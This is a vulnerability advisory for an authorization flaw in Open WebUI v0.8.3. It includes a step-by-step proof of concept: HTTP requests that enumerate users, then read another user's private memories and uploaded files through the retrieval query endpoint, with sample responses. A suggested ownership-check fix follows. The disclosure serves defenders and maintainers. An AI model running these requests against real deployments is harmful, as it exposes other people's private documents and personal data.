CVE-2026-29071: Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

• User files: file-{FILE_UUID}
• User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

1. Register two users: admin (first user) and attacker (second user).
2. As admin, upload a PDF document through chat.
3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "[email protected]",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "[email protected]",
      "role": "admin"
    }
  ]
}

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

Impact

• Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
• User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
• Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
• No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in `/api/v1/retrieval/query/collection`:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file — placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")

2. Restrict `/api/v1/users/search` to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.